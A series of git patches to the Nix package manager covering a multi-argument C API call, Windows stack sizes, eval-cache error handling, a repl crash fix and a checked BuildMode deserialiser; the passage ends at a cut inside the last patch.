From 2497d1035182d0d9b209aee6cfcd1a2b2b2be55b Mon Sep 17 00:00:00 2001
From: Robert Hensing <robert@roberthensing.nl>
Date: Thu, 23 May 2024 19:55:32 +0200
Subject: [PATCH 189/528] C API: Add nix_value_call_multi, NIX_VALUE_CALL

_multi can be implemented more efficiently.
NIX_VALUE_CALL is a convenient way to invoke it.
---
 src/libexpr-c/nix_api_expr.cc      | 11 +++++++
 src/libexpr-c/nix_api_expr.h       | 41 +++++++++++++++++++++++++
 tests/unit/libexpr/nix_api_expr.cc | 49 +++++++++++++++++++++++++++++-
 3 files changed, 100 insertions(+), 1 deletion(-)

diff --git a/src/libexpr-c/nix_api_expr.cc b/src/libexpr-c/nix_api_expr.cc
index a29c3425e5f..b86d745db28 100644
--- a/src/libexpr-c/nix_api_expr.cc
+++ b/src/libexpr-c/nix_api_expr.cc
@@ -65,6 +65,17 @@ nix_err nix_value_call(nix_c_context * context, EvalState * state, Value * fn, V
     NIXC_CATCH_ERRS
 }
 
+nix_err nix_value_call_multi(nix_c_context * context, EvalState * state, Value * fn, size_t nargs, Value ** args, Value * value)
+{
+    if (context)
+        context->last_err_code = NIX_OK;
+    try {
+        state->state.callFunction(*(nix::Value *) fn, nargs, (nix::Value * *)args, *(nix::Value *) value, nix::noPos);
+        state->state.forceValue(*(nix::Value *) value, nix::noPos);
+    }
+    NIXC_CATCH_ERRS
+}
+
 nix_err nix_value_force(nix_c_context * context, EvalState * state, Value * value)
 {
     if (context)
diff --git a/src/libexpr-c/nix_api_expr.h b/src/libexpr-c/nix_api_expr.h
index 647b2356950..b026ea70bec 100644
--- a/src/libexpr-c/nix_api_expr.h
+++ b/src/libexpr-c/nix_api_expr.h
@@ -12,6 +12,7 @@
 
 #include "nix_api_store.h"
 #include "nix_api_util.h"
+#include <stddef.h>
 
 #ifdef __cplusplus
 extern "C" {
@@ -80,6 +81,46 @@ nix_err nix_expr_eval_from_string(
  */
 nix_err nix_value_call(nix_c_context * context, EvalState * state, Value * fn, Value * arg, Value * value);
 
+/**
+ * @brief Calls a Nix function with multiple arguments.
+ *
+ * Technically these are functions that return functions. It is common for Nix
+ * functions to be curried, so this function is useful for calling them.
+ *
+ * @param[out] context Optional, stores error information
+ * @param[in] state The state of the evaluation.
+ * @param[in] fn The Nix function to call.
+ * @param[in] nargs The number of arguments.
+ * @param[in] args The arguments to pass to the function.
+ * @param[out] value The result of the function call.
+ *
+ * @see nix_value_call     For the single argument primitive.
+ * @see NIX_VALUE_CALL           For a macro that wraps this function for convenience.
+ */
+nix_err nix_value_call_multi(
+    nix_c_context * context, EvalState * state, Value * fn, size_t nargs, Value ** args, Value * value);
+
+/**
+ * @brief Calls a Nix function with multiple arguments.
+ *
+ * Technically these are functions that return functions. It is common for Nix
+ * functions to be curried, so this function is useful for calling them.
+ *
+ * @param[out] context Optional, stores error information
+ * @param[in] state The state of the evaluation.
+ * @param[out] value The result of the function call.
+ * @param[in] fn The Nix function to call.
+ * @param[in] args The arguments to pass to the function.
+ *
+ * @see nix_value_call_multi
+ */
+#define NIX_VALUE_CALL(context, state, value, fn, ...)                  \
+  do {                                                                  \
+    Value * args_array[] = {__VA_ARGS__};                               \
+    size_t nargs = sizeof(args_array) / sizeof(args_array[0]);          \
+    nix_value_call_multi(context, state, fn, nargs, args_array, value); \
+  } while (0)
+
 /**
  * @brief Forces the evaluation of a Nix value.
  *
diff --git a/tests/unit/libexpr/nix_api_expr.cc b/tests/unit/libexpr/nix_api_expr.cc
index 17ba610e430..fd7d043c001 100644
--- a/tests/unit/libexpr/nix_api_expr.cc
+++ b/tests/unit/libexpr/nix_api_expr.cc
@@ -250,7 +250,7 @@ static void primop_repeat(void * user_data, nix_c_context * context, EvalState *
     nix_init_string(context, ret, result.c_str());
 }
 
-TEST_F(nix_api_expr_test, nix_expr_primop_arity_2)
+TEST_F(nix_api_expr_test, nix_expr_primop_arity_2_multiple_calls)
 {
     PrimOp * primop =
         nix_alloc_primop(ctx, primop_repeat, 2, "repeat", nullptr, "repeat a string", (void *) SAMPLE_USER_DATA);
@@ -285,6 +285,38 @@ TEST_F(nix_api_expr_test, nix_expr_primop_arity_2)
     ASSERT_STREQ("hellohellohello", r.c_str());
 }
 
+TEST_F(nix_api_expr_test, nix_expr_primop_arity_2_single_call)
+{
+    PrimOp * primop =
+        nix_alloc_primop(ctx, primop_repeat, 2, "repeat", nullptr, "repeat a string", (void *) SAMPLE_USER_DATA);
+    assert_ctx_ok();
+    Value * primopValue = nix_alloc_value(ctx, state);
+    assert_ctx_ok();
+    nix_init_primop(ctx, primopValue, primop);
+    assert_ctx_ok();
+
+    Value * hello = nix_alloc_value(ctx, state);
+    assert_ctx_ok();
+    nix_init_string(ctx, hello, "hello");
+    assert_ctx_ok();
+
+    Value * three = nix_alloc_value(ctx, state);
+    assert_ctx_ok();
+    nix_init_int(ctx, three, 3);
+    assert_ctx_ok();
+
+    Value * result = nix_alloc_value(ctx, state);
+    assert_ctx_ok();
+    NIX_VALUE_CALL(ctx, state, result, primopValue, hello, three);
+    assert_ctx_ok();
+
+    std::string r;
+    nix_get_string(ctx, result, OBSERVE_STRING(r));
+    assert_ctx_ok();
+
+    ASSERT_STREQ("hellohellohello", r.c_str());
+}
+
 static void
 primop_bad_no_return(void * user_data, nix_c_context * context, EvalState * state, Value ** args, Value * ret)
 {
@@ -357,4 +389,19 @@ TEST_F(nix_api_expr_test, nix_expr_primop_bad_return_thunk)
             testing::HasSubstr("Implementation error in custom function: return value must not be a thunk")));
     ASSERT_THAT(ctx->last_err, testing::Optional(testing::HasSubstr("badReturnThunk")));
 }
+
+TEST_F(nix_api_expr_test, nix_value_call_multi_no_args)
+{
+    Value * n = nix_alloc_value(ctx, state);
+    nix_init_int(ctx, n, 3);
+    assert_ctx_ok();
+
+    Value * r = nix_alloc_value(ctx, state);
+    nix_value_call_multi(ctx, state, n, 0, nullptr, r);
+    assert_ctx_ok();
+
+    auto rInt = nix_get_int(ctx, r);
+    assert_ctx_ok();
+    ASSERT_EQ(3, rInt);
+}
 } // namespace nixC

From 97c346329151916727a3dd154e4d088b2e16fd2d Mon Sep 17 00:00:00 2001
From: Robert Hensing <robert@roberthensing.nl>
Date: Thu, 23 May 2024 19:56:32 +0200
Subject: [PATCH 190/528] C API: Refactor: use NIX_VALUE_CALL

---
 tests/unit/libexpr/nix_api_expr.cc | 7 +------
 1 file changed, 1 insertion(+), 6 deletions(-)

diff --git a/tests/unit/libexpr/nix_api_expr.cc b/tests/unit/libexpr/nix_api_expr.cc
index fd7d043c001..92a6a117537 100644
--- a/tests/unit/libexpr/nix_api_expr.cc
+++ b/tests/unit/libexpr/nix_api_expr.cc
@@ -373,14 +373,9 @@ TEST_F(nix_api_expr_test, nix_expr_primop_bad_return_thunk)
     nix_init_int(ctx, four, 4);
     assert_ctx_ok();
 
-    Value * partial = nix_alloc_value(ctx, state);
-    assert_ctx_ok();
-    nix_value_call(ctx, state, primopValue, toString, partial);
-    assert_ctx_ok();
-
     Value * result = nix_alloc_value(ctx, state);
     assert_ctx_ok();
-    nix_value_call(ctx, state, partial, four, result);
+    NIX_VALUE_CALL(ctx, state, result, primopValue, toString, four);
 
     ASSERT_EQ(ctx->last_err_code, NIX_ERR_NIX_ERROR);
     ASSERT_THAT(

From 0b7da099d112cf4bebc49844405ab5556c1a1ea4 Mon Sep 17 00:00:00 2001
From: PoweredByPie <poweredbypie@users.noreply.github.com>
Date: Thu, 23 May 2024 03:55:25 -0700
Subject: [PATCH 191/528] Commit more stack size in some windows binaries

This way we can commit the same amount of stack size (64 MB) without a conditional.
Includes nix, libnixexpr-tests, libnixfetchers-tests, libnixstore-tests, libnixutil-tests.
---
 src/nix/local.mk                | 5 +++++
 src/nix/main.cc                 | 5 -----
 tests/unit/libexpr/local.mk     | 5 +++++
 tests/unit/libfetchers/local.mk | 5 +++++
 tests/unit/libstore/local.mk    | 5 +++++
 tests/unit/libutil/local.mk     | 5 +++++
 6 files changed, 25 insertions(+), 5 deletions(-)

diff --git a/src/nix/local.mk b/src/nix/local.mk
index 305b0e9dfff..9883509fb9d 100644
--- a/src/nix/local.mk
+++ b/src/nix/local.mk
@@ -30,6 +30,11 @@ nix_LIBS = libexpr libmain libfetchers libstore libutil libcmd
 
 nix_LDFLAGS = $(THREAD_LDFLAGS) $(SODIUM_LIBS) $(EDITLINE_LIBS) $(BOOST_LDFLAGS) $(LOWDOWN_LIBS)
 
+ifdef HOST_WINDOWS
+  # Increase the default reserved stack size to 65 MB so Nix doesn't run out of space
+  nix_LDFLAGS += -Wl,--stack,$(shell echo $$((65 * 1024 * 1024)))
+endif
+
 $(foreach name, \
   nix-build nix-channel nix-collect-garbage nix-copy-closure nix-daemon nix-env nix-hash nix-instantiate nix-prefetch-url nix-shell nix-store, \
   $(eval $(call install-symlink, nix, $(bindir)/$(name))))
diff --git a/src/nix/main.cc b/src/nix/main.cc
index d3f3324ac04..541d1a1b3ba 100644
--- a/src/nix/main.cc
+++ b/src/nix/main.cc
@@ -522,14 +522,9 @@ void mainWrapped(int argc, char * * argv)
 
 int main(int argc, char * * argv)
 {
-#ifndef _WIN32
     // Increase the default stack size for the evaluator and for
     // libstdc++'s std::regex.
     nix::setStackSize(64 * 1024 * 1024);
-#else
-    // Windows' default stack reservation is 1 MB, going over will fail
-    nix::setStackSize(1 * 1024 * 1024);
-#endif
 
     return nix::handleExceptions(argv[0], [&]() {
         nix::mainWrapped(argc, argv);
diff --git a/tests/unit/libexpr/local.mk b/tests/unit/libexpr/local.mk
index c59191db4d5..09a7dfca15a 100644
--- a/tests/unit/libexpr/local.mk
+++ b/tests/unit/libexpr/local.mk
@@ -38,3 +38,8 @@ libexpr-tests_LIBS = \
     libexpr libexprc libfetchers libstore libstorec libutil libutilc
 
 libexpr-tests_LDFLAGS := -lrapidcheck $(GTEST_LIBS) -lgmock
+
+ifdef HOST_WINDOWS
+  # Increase the default reserved stack size to 65 MB so Nix doesn't run out of space
+  libexpr-tests_LDFLAGS += -Wl,--stack,$(shell echo $$((65 * 1024 * 1024)))
+endif
diff --git a/tests/unit/libfetchers/local.mk b/tests/unit/libfetchers/local.mk
index e9f659fd72e..d576d28f382 100644
--- a/tests/unit/libfetchers/local.mk
+++ b/tests/unit/libfetchers/local.mk
@@ -30,3 +30,8 @@ libfetchers-tests_LIBS = \
     libfetchers libstore libutil
 
 libfetchers-tests_LDFLAGS := -lrapidcheck $(GTEST_LIBS)
+
+ifdef HOST_WINDOWS
+  # Increase the default reserved stack size to 65 MB so Nix doesn't run out of space
+  libfetchers-tests_LDFLAGS += -Wl,--stack,$(shell echo $$((65 * 1024 * 1024)))
+endif
diff --git a/tests/unit/libstore/local.mk b/tests/unit/libstore/local.mk
index b8f895fad32..0af1d262222 100644
--- a/tests/unit/libstore/local.mk
+++ b/tests/unit/libstore/local.mk
@@ -31,3 +31,8 @@ libstore-tests_LIBS = \
     libstore libstorec libutil libutilc
 
 libstore-tests_LDFLAGS := -lrapidcheck $(GTEST_LIBS)
+
+ifdef HOST_WINDOWS
+  # Increase the default reserved stack size to 65 MB so Nix doesn't run out of space
+  libstore-tests_LDFLAGS += -Wl,--stack,$(shell echo $$((65 * 1024 * 1024)))
+endif
diff --git a/tests/unit/libutil/local.mk b/tests/unit/libutil/local.mk
index 39b4c0782c4..b9bddc24d20 100644
--- a/tests/unit/libutil/local.mk
+++ b/tests/unit/libutil/local.mk
@@ -27,6 +27,11 @@ libutil-tests_LIBS = libutil-test-support libutil libutilc
 
 libutil-tests_LDFLAGS := -lrapidcheck $(GTEST_LIBS)
 
+ifdef HOST_WINDOWS
+  # Increase the default reserved stack size to 65 MB so Nix doesn't run out of space
+  libutil-tests_LDFLAGS += -Wl,--stack,$(shell echo $$((65 * 1024 * 1024)))
+endif
+
 check: $(d)/data/git/check-data.sh.test
 
 $(eval $(call run-test,$(d)/data/git/check-data.sh))

From 8b86f415c1a8565085e70475933e459a29d67283 Mon Sep 17 00:00:00 2001
From: Eelco Dolstra <edolstra@gmail.com>
Date: Fri, 24 May 2024 16:16:38 +0200
Subject: [PATCH 192/528] Add test for the evaluation cache

---
 tests/functional/flakes/eval-cache.sh | 22 ++++++++++++++++++++++
 tests/functional/local.mk             |  1 +
 2 files changed, 23 insertions(+)
 create mode 100644 tests/functional/flakes/eval-cache.sh

diff --git a/tests/functional/flakes/eval-cache.sh b/tests/functional/flakes/eval-cache.sh
new file mode 100644
index 00000000000..90c7abd3c69
--- /dev/null
+++ b/tests/functional/flakes/eval-cache.sh
@@ -0,0 +1,22 @@
+source ./common.sh
+
+requireGit
+
+flake1Dir="$TEST_ROOT/eval-cache-flake"
+
+createGitRepo "$flake1Dir" ""
+
+cat >"$flake1Dir/flake.nix" <<EOF
+{
+  description = "Fnord";
+  outputs = { self }: {
+    foo.bar = throw "breaks";
+  };
+}
+EOF
+
+git -C "$flake1Dir" add flake.nix
+git -C "$flake1Dir" commit -m "Init"
+
+expect 1 nix build "$flake1Dir#foo.bar" 2>&1 | grepQuiet 'error: breaks'
+expect 1 nix build "$flake1Dir#foo.bar" 2>&1 | grepQuiet 'error: breaks'
diff --git a/tests/functional/local.mk b/tests/functional/local.mk
index 18b920f7de3..9c279b49b73 100644
--- a/tests/functional/local.mk
+++ b/tests/functional/local.mk
@@ -16,6 +16,7 @@ nix_tests = \
   flakes/build-paths.sh \
   flakes/flake-in-submodule.sh \
   flakes/prefetch.sh \
+  flakes/eval-cache.sh \
   gc.sh \
   nix-collect-garbage-d.sh \
   remote-store.sh \

From 2c88930ef298f6804eb9c064ca918aef01fcd2e3 Mon Sep 17 00:00:00 2001
From: Eelco Dolstra <edolstra@gmail.com>
Date: Fri, 19 Apr 2024 19:34:07 +0200
Subject: [PATCH 193/528] AttrCursor: Remove forceErrors

Instead, force evaluation of the original value only if we need to
show the exception to the user.
---
 src/libexpr/eval-cache.cc | 40 +++++++++++++++++++++++++++------------
 src/libexpr/eval-cache.hh | 25 +++++++++++++++++++-----
 src/libexpr/eval-error.cc |  1 -
 src/libexpr/eval-error.hh |  1 -
 src/nix/main.cc           | 11 ++++++++++-
 5 files changed, 58 insertions(+), 20 deletions(-)

diff --git a/src/libexpr/eval-cache.cc b/src/libexpr/eval-cache.cc
index d60967a14a7..a4080819c33 100644
--- a/src/libexpr/eval-cache.cc
+++ b/src/libexpr/eval-cache.cc
@@ -7,6 +7,25 @@
 
 namespace nix::eval_cache {
 
+CachedEvalError::CachedEvalError(ref<AttrCursor> cursor, Symbol attr)
+    : EvalError(cursor->root->state, "cached failure of attribute '%s'", cursor->getAttrPathStr(attr))
+    , cursor(cursor), attr(attr)
+{ }
+
+void CachedEvalError::force()
+{
+    auto & v = cursor->forceValue();
+
+    if (v.type() == nAttrs) {
+        auto a = v.attrs()->get(this->attr);
+
+        state.forceValue(*a->value, a->pos);
+    }
+
+    // Shouldn't happen.
+    throw EvalError(state, "evaluation of cached failed attribute '%s' unexpectedly succeeded", cursor->getAttrPathStr(attr));
+}
+
 static const char * schema = R"sql(
 create table if not exists Attributes (
     parent      integer not null,
@@ -470,7 +489,7 @@ Suggestions AttrCursor::getSuggestionsForAttr(Symbol name)
     return Suggestions::bestMatches(strAttrNames, root->state.symbols[name]);
 }
 
-std::shared_ptr<AttrCursor> AttrCursor::maybeGetAttr(Symbol name, bool forceErrors)
+std::shared_ptr<AttrCursor> AttrCursor::maybeGetAttr(Symbol name)
 {
     if (root->db) {
         if (!cachedValue)
@@ -487,12 +506,9 @@ std::shared_ptr<AttrCursor> AttrCursor::maybeGetAttr(Symbol name, bool forceErro
                 if (attr) {
                     if (std::get_if<missing_t>(&attr->second))
                         return nullptr;
-                    else if (std::get_if<failed_t>(&attr->second)) {
-                        if (forceErrors)
-                            debug("reevaluating failed cached attribute '%s'", getAttrPathStr(name));
-                        else
-                            throw CachedEvalError(root->state, "cached failure of attribute '%s'", getAttrPathStr(name));
-                    } else
+                    else if (std::get_if<failed_t>(&attr->second))
+                        throw CachedEvalError(ref(shared_from_this()), name);
+                    else
                         return std::make_shared<AttrCursor>(root,
                             std::make_pair(shared_from_this(), name), nullptr, std::move(attr));
                 }
@@ -537,9 +553,9 @@ std::shared_ptr<AttrCursor> AttrCursor::maybeGetAttr(std::string_view name)
     return maybeGetAttr(root->state.symbols.create(name));
 }
 
-ref<AttrCursor> AttrCursor::getAttr(Symbol name, bool forceErrors)
+ref<AttrCursor> AttrCursor::getAttr(Symbol name)
 {
-    auto p = maybeGetAttr(name, forceErrors);
+    auto p = maybeGetAttr(name);
     if (!p)
         throw Error("attribute '%s' does not exist", getAttrPathStr(name));
     return ref(p);
@@ -550,11 +566,11 @@ ref<AttrCursor> AttrCursor::getAttr(std::string_view name)
     return getAttr(root->state.symbols.create(name));
 }
 
-OrSuggestions<ref<AttrCursor>> AttrCursor::findAlongAttrPath(const std::vector<Symbol> & attrPath, bool force)
+OrSuggestions<ref<AttrCursor>> AttrCursor::findAlongAttrPath(const std::vector<Symbol> & attrPath)
 {
     auto res = shared_from_this();
     for (auto & attr : attrPath) {
-        auto child = res->maybeGetAttr(attr, force);
+        auto child = res->maybeGetAttr(attr);
         if (!child) {
             auto suggestions = res->getSuggestionsForAttr(attr);
             return OrSuggestions<ref<AttrCursor>>::failed(suggestions);
@@ -751,7 +767,7 @@ bool AttrCursor::isDerivation()
 
 StorePath AttrCursor::forceDerivation()
 {
-    auto aDrvPath = getAttr(root->state.sDrvPath, true);
+    auto aDrvPath = getAttr(root->state.sDrvPath);
     auto drvPath = root->state.store->parseStorePath(aDrvPath->getString());
     if (!root->state.store->isValidPath(drvPath) && !settings.readOnlyMode) {
         /* The eval cache contains 'drvPath', but the actual path has
diff --git a/src/libexpr/eval-cache.hh b/src/libexpr/eval-cache.hh
index 46c4999c84c..cac9858296c 100644
--- a/src/libexpr/eval-cache.hh
+++ b/src/libexpr/eval-cache.hh
@@ -10,14 +10,28 @@
 
 namespace nix::eval_cache {
 
-MakeError(CachedEvalError, EvalError);
-
 struct AttrDb;
 class AttrCursor;
 
+struct CachedEvalError : EvalError
+{
+    const ref<AttrCursor> cursor;
+    const Symbol attr;
+
+    CachedEvalError(ref<AttrCursor> cursor, Symbol attr);
+
+    /**
+     * Evaluate this attribute, which should result in a regular
+     * `EvalError` exception being thrown.
+     */
+    [[noreturn]]
+    void force();
+};
+
 class EvalCache : public std::enable_shared_from_this<EvalCache>
 {
     friend class AttrCursor;
+    friend class CachedEvalError;
 
     std::shared_ptr<AttrDb> db;
     EvalState & state;
@@ -73,6 +87,7 @@ typedef std::variant<
 class AttrCursor : public std::enable_shared_from_this<AttrCursor>
 {
     friend class EvalCache;
+    friend class CachedEvalError;
 
     ref<EvalCache> root;
     typedef std::optional<std::pair<std::shared_ptr<AttrCursor>, Symbol>> Parent;
@@ -102,11 +117,11 @@ public:
 
     Suggestions getSuggestionsForAttr(Symbol name);
 
-    std::shared_ptr<AttrCursor> maybeGetAttr(Symbol name, bool forceErrors = false);
+    std::shared_ptr<AttrCursor> maybeGetAttr(Symbol name);
 
     std::shared_ptr<AttrCursor> maybeGetAttr(std::string_view name);
 
-    ref<AttrCursor> getAttr(Symbol name, bool forceErrors = false);
+    ref<AttrCursor> getAttr(Symbol name);
 
     ref<AttrCursor> getAttr(std::string_view name);
 
@@ -114,7 +129,7 @@ public:
      * Get an attribute along a chain of attrsets. Note that this does
      * not auto-call functors or functions.
      */
-    OrSuggestions<ref<AttrCursor>> findAlongAttrPath(const std::vector<Symbol> & attrPath, bool force = false);
+    OrSuggestions<ref<AttrCursor>> findAlongAttrPath(const std::vector<Symbol> & attrPath);
 
     std::string getString();
 
diff --git a/src/libexpr/eval-error.cc b/src/libexpr/eval-error.cc
index 8db03610b14..9e7f5009303 100644
--- a/src/libexpr/eval-error.cc
+++ b/src/libexpr/eval-error.cc
@@ -99,7 +99,6 @@ template class EvalErrorBuilder<TypeError>;
 template class EvalErrorBuilder<UndefinedVarError>;
 template class EvalErrorBuilder<MissingArgumentError>;
 template class EvalErrorBuilder<InfiniteRecursionError>;
-template class EvalErrorBuilder<CachedEvalError>;
 template class EvalErrorBuilder<InvalidPathError>;
 
 }
diff --git a/src/libexpr/eval-error.hh b/src/libexpr/eval-error.hh
index 7e0cbe982ec..27407eb6e92 100644
--- a/src/libexpr/eval-error.hh
+++ b/src/libexpr/eval-error.hh
@@ -43,7 +43,6 @@ MakeError(Abort, EvalError);
 MakeError(TypeError, EvalError);
 MakeError(UndefinedVarError, EvalError);
 MakeError(MissingArgumentError, EvalError);
-MakeError(CachedEvalError, EvalError);
 MakeError(InfiniteRecursionError, EvalError);
 
 struct InvalidPathError : public EvalError
diff --git a/src/nix/main.cc b/src/nix/main.cc
index bc13a4df5a6..f20042948ca 100644
--- a/src/nix/main.cc
+++ b/src/nix/main.cc
@@ -18,6 +18,7 @@
 #include "terminal.hh"
 #include "users.hh"
 #include "network-proxy.hh"
+#include "eval-cache.hh"
 
 #include <sys/types.h>
 #include <regex>
@@ -515,7 +516,15 @@ void mainWrapped(int argc, char * * argv)
     if (args.command->second->forceImpureByDefault() && !evalSettings.pureEval.overridden) {
         evalSettings.pureEval = false;
     }
-    args.command->second->run();
+
+    try {
+        args.command->second->run();
+    } catch (eval_cache::CachedEvalError & e) {
+        /* Evaluate the original attribute that resulted in this
+           cached error so that we can show the original error to the
+           user. */
+        e.force();
+    }
 }
 
 }

From eeb4c408670a6037bd4085fde654bf4a5945c4c7 Mon Sep 17 00:00:00 2001
From: Eelco Dolstra <edolstra@gmail.com>
Date: Fri, 19 Apr 2024 19:42:05 +0200
Subject: [PATCH 194/528] Typo

---
 src/nix/flake.cc | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/src/nix/flake.cc b/src/nix/flake.cc
index 78a8a55c33c..6bf694e08af 100644
--- a/src/nix/flake.cc
+++ b/src/nix/flake.cc
@@ -1176,7 +1176,7 @@ struct CmdFlakeShow : FlakeCommand, MixJSON
                 // If we don't recognize it, it's probably content
                 return true;
             } catch (EvalError & e) {
-                // Some attrs may contain errors, eg. legacyPackages of
+                // Some attrs may contain errors, e.g. legacyPackages of
                 // nixpkgs. We still want to recurse into it, instead of
                 // skipping it at all.
                 return true;

From 2de4589e465f0ad7e78bed8fc15d065a99006be1 Mon Sep 17 00:00:00 2001
From: eldritch horrors <pennae@lix.systems>
Date: Wed, 22 May 2024 18:26:01 +0200
Subject: [PATCH 195/528] libstore: remove unused copyPath function
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Source: https://git.lix.systems/lix-project/lix/commit/47523944c5f13250dd0eb9d56d5c6621f4722bea

Signed-off-by: Jörg Thalheim <joerg@thalheim.io>
---
 src/libutil/archive.cc | 9 ---------
 src/libutil/archive.hh | 2 --
 2 files changed, 11 deletions(-)

diff --git a/src/libutil/archive.cc b/src/libutil/archive.cc
index 04f777d00f1..d20936de4b4 100644
--- a/src/libutil/archive.cc
+++ b/src/libutil/archive.cc
@@ -315,13 +315,4 @@ void copyNAR(Source & source, Sink & sink)
 }
 
 
-void copyPath(const Path & from, const Path & to)
-{
-    auto source = sinkToSource([&](Sink & sink) {
-        dumpPath(from, sink);
-    });
-    restorePath(to, *source);
-}
-
-
 }
diff --git a/src/libutil/archive.hh b/src/libutil/archive.hh
index 28c63bb8550..bd70072cec3 100644
--- a/src/libutil/archive.hh
+++ b/src/libutil/archive.hh
@@ -82,8 +82,6 @@ void restorePath(const Path & path, Source & source);
  */
 void copyNAR(Source & source, Sink & sink);
 
-void copyPath(const Path & from, const Path & to);
-
 
 inline constexpr std::string_view narVersionMagic1 = "nix-archive-1";
 

From f97da4b11c8d38f3bb002407076bf56acba8675b Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?J=C3=B6rg=20Thalheim?= <joerg@thalheim.io>
Date: Sat, 25 May 2024 23:06:56 +0200
Subject: [PATCH 196/528] libutil/source-accessor: custom error if source does
 not exist

This allows better error handling by catching this error in particular.
---
 src/libutil/source-accessor.cc | 2 +-
 src/libutil/source-accessor.hh | 2 ++
 2 files changed, 3 insertions(+), 1 deletion(-)

diff --git a/src/libutil/source-accessor.cc b/src/libutil/source-accessor.cc
index 66093d2ccb0..e797951c76e 100644
--- a/src/libutil/source-accessor.cc
+++ b/src/libutil/source-accessor.cc
@@ -53,7 +53,7 @@ SourceAccessor::Stat SourceAccessor::lstat(const CanonPath & path)
     if (auto st = maybeLstat(path))
         return *st;
     else
-        throw Error("path '%s' does not exist", showPath(path));
+        throw FileNotFound("path '%s' does not exist", showPath(path));
 }
 
 void SourceAccessor::setPathDisplay(std::string displayPrefix, std::string displaySuffix)
diff --git a/src/libutil/source-accessor.hh b/src/libutil/source-accessor.hh
index d7fb0af5fac..cc8db01f59c 100644
--- a/src/libutil/source-accessor.hh
+++ b/src/libutil/source-accessor.hh
@@ -29,6 +29,8 @@ enum class SymlinkResolution {
     Full,
 };
 
+MakeError(FileNotFound, Error);
+
 /**
  * A read-only filesystem abstraction. This is used by the Nix
  * evaluator and elsewhere for accessing sources in various

From ffe6ba69d6a3a290e56a2891d05c91059f4b9e3a Mon Sep 17 00:00:00 2001
From: Pierre Bourdon <delroth@gmail.com>
Date: Thu, 23 May 2024 02:52:54 +0200
Subject: [PATCH 197/528] repl: do not crash when tab-completing import errors

File not found while importing is not currently caught by the tab-completion handler.

Original bug report: https://git.lix.systems/lix-project/lix/issues/340
Fix has been adapted from https://gerrit.lix.systems/c/lix/+/1189

Example crash:

$ cat /tmp/foo.nix
{
  someImport = import ./this_file_does_not_exist;
}
$ ./src/nix/nix repl --file /tmp/foo.nix
warning: unknown experimental feature 'repl-flake'
Nix 2.23.0pre20240517_dirty
Type :? for help.
Loading installable ''...
Added 1 variables.
nix-repl> someImport.<TAB>
---
 src/libcmd/repl.cc | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/src/libcmd/repl.cc b/src/libcmd/repl.cc
index a069dd52cb8..e5d3f6f1520 100644
--- a/src/libcmd/repl.cc
+++ b/src/libcmd/repl.cc
@@ -304,6 +304,8 @@ StringSet NixRepl::completePrefix(const std::string & prefix)
             // Quietly ignore evaluation errors.
         } catch (BadURL & e) {
             // Quietly ignore BadURL flake-related errors.
+        } catch (FileNotFound & e) {
+            // Quietly ignore non-existent file beeing `import`-ed.
         }
     }
 

From eeb89c28b026ed96baf2479491c071e527b92b58 Mon Sep 17 00:00:00 2001
From: John Ericson <John.Ericson@Obsidian.Systems>
Date: Mon, 27 May 2024 00:18:58 -0400
Subject: [PATCH 198/528] Worker proto use proper serialiser for `BuildMode`

Do this instead of an unchecked cast

I redid this to use the serialisation framework (including a unit test),
but I am keeping the reference to credit Jade for spotting the issue.

Change-Id: Icf6af7935e8f139bef36b40ad475e973aa48855c
(adapted from commit 2a7a824d83dc5fb33326b8b89625685f283a743b)

Co-Authored-By: Jade Lovelace <lix@jade.fyi>
---
 src/libstore/daemon.cc                        |   6 ++--
 src/libstore/store-api.hh                     |   2 +-
 src/libstore/worker-protocol.cc               |  28 ++++++++++++++++++
 src/libstore/worker-protocol.hh               |   3 ++
 .../data/worker-protocol/build-mode.bin       | Bin 0 -> 24 bytes
 tests/unit/libstore/worker-protocol.cc        |  11 +++++++
 6 files changed, 46 insertions(+), 4 deletions(-)
 create mode 100644 tests/unit/libstore/data/worker-protocol/build-mode.bin

diff --git a/src/libstore/daemon.cc b/src/libstore/daemon.cc
index 47d6d5541be..eb6a4e69039 100644
--- a/src/libstore/daemon.cc
+++ b/src/libstore/daemon.cc
@@ -531,7 +531,7 @@ static void performOp(TunnelLogger * logger, ref<Store> store,
         auto drvs = WorkerProto::Serialise<DerivedPaths>::read(*store, rconn);
         BuildMode mode = bmNormal;
         if (GET_PROTOCOL_MINOR(clientVersion) >= 15) {
-            mode = (BuildMode) readInt(from);
+            mode = WorkerProto::Serialise<BuildMode>::read(*store, rconn);
 
             /* Repairing is not atomic, so disallowed for "untrusted"
                clients.
@@ -555,7 +555,7 @@ static void performOp(TunnelLogger * logger, ref<Store> store,
     case WorkerProto::Op::BuildPathsWithResults: {
         auto drvs = WorkerProto::Serialise<DerivedPaths>::read(*store, rconn);
         BuildMode mode = bmNormal;
-        mode = (BuildMode) readInt(from);
+        mode = WorkerProto::Serialise<BuildMode>::read(*store, rconn);
 
         /* Repairing is not atomic, so disallowed for "untrusted"
            clients.
@@ -586,7 +586,7 @@ static void performOp(TunnelLogger * logger, ref<Store> store,
          * correctly.
          */
         readDerivation(from, *store, drv, Derivation::nameFromPath(drvPath));
-        BuildMode buildMode = (BuildMode) readInt(from);
+        auto buildMode = WorkerProto::Serialise<BuildMode>::read(*store, rconn);
         logger->startWork();
 
         auto drvType = drv.type();
diff --git a/src/libstore/store-api.hh b/src/libstore/store-api.hh
index 430d9a5abcb..15712458c12 100644
--- a/src/libstore/store-api.hh
+++ b/src/libstore/store-api.hh
@@ -92,7 +92,7 @@ enum SubstituteFlag : bool { NoSubstitute = false, Substitute = true };
 const uint32_t exportMagic = 0x4558494e;
 
 
-enum BuildMode { bmNormal, bmRepair, bmCheck };
+enum BuildMode : uint8_t { bmNormal, bmRepair, bmCheck };
 enum TrustedFlag : bool { NotTrusted = false, Trusted = true };
 
 struct BuildResult;
diff --git a/src/libstore/worker-protocol.cc b/src/libstore/worker-protocol.cc
index a50259d240f..ed6367c38f3 100644
--- a/src/libstore/worker-protocol.cc
+++ b/src/libstore/worker-protocol.cc
@@ -14,6 +14,34 @@ namespace nix {
 
 /* protocol-specific definitions */
 
+BuildMode WorkerProto::Serialise<BuildMode>::read(const StoreDirConfig & store, WorkerProto::ReadConn conn)
+{
+    auto temp = readNum<uint8_t>(conn.from);
+    switch (temp) {
